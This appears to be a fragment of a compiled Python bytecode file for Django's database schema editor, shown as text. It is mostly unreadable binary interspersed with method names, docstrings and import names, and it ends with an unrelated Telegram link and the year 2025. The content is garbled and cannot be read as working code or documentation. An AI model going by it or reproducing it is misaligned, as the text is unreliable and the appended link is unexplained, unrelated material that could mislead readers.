�q2|S)z@Return all constraint names matching the columns and conditions.Ncsg|]	}�jj�|��qSr)r1�
introspection�identifier_converter)r(rr<rrrZ$s��z>BaseDatabaseSchemaEditor._constraint_names.<locals>.<listcomp>r�r�rr�r]rr�)r1rPr��get_constraintsrrx�itemsrL)r7r!rrr�rr�rr]r*r�rPr�resultr�infodictrr<rr�s4
��
�z*BaseDatabaseSchemaEditor._constraint_namescCsV|j|dd�}|rt|�dkrtdt|�|jjf��|D]}|�|�||��qdS)NTr�r�z0Found wrong number (%s) of PK constraints for %s)r�r�r�rrxr=�_delete_primary_key_sql)r7r!r$r�rFrrrr?=s��z,BaseDatabaseSchemaEditor._delete_primary_keyc
CsJt|jt|jj|j�|�|j|jj|jgdd��t|jj|jg|j�d�S)N�_pkr.)rlrr�)	r�
sql_create_pkrrrxrSrCrXrr�rrrrAGs��z0BaseDatabaseSchemaEditor._create_primary_key_sqlcCr�r%)r��
sql_delete_pkr�rrrr�Qr�z0BaseDatabaseSchemaEditor._delete_primary_key_sqlcCsd|�|�S)Nz	 COLLATE )rS)r7r�rrrr�TrTz%BaseDatabaseSchemaEditor._collate_sqlcCs*|j|�|�d�|�d�}|�|�dS)N�,)�	procedure�param_types)�sql_delete_procedurerSr�r=)r7�procedure_namer�rBrrr�remove_procedureWs
�z)BaseDatabaseSchemaEditor.remove_procedure)FT)r)F)rFr%)NNNN)NNNNN)NNNNNNNN)h�__name__�
__module__�__qualname__�__doc__r�r�rr�rrrer`rardrcrbrfrr�r>r�rs�sql_delete_constraintr�r�r�r�r�r�rzrr�r�r�r�r�r�r�r8r;r>r=rSr�rqr�r�r�r��staticmethodr�r�rOr�r�r�r�r�r�r�r�r�r�rrr r)r#r;rr:r9r"rCrvrxrzr�r5r�r�rr!r�r1r@r7r|r
rr�r�ror2r�rDr6r�r�r?rAr�r�r�rrrrr0-s��
	
	
;<	
	9
,
�
%



�
'	
	
�!
�&
�
�


r0)�loggingr�!django.db.backends.ddl_referencesrrrrrr�django.db.backends.utilsr	r
�django.db.modelsrr�django.db.models.sqlr
�django.db.transactionrr�django.utilsr�	getLoggerrIrr"r/r0rrrr�<module>s 
	

https://t.me/RX1948 - 2025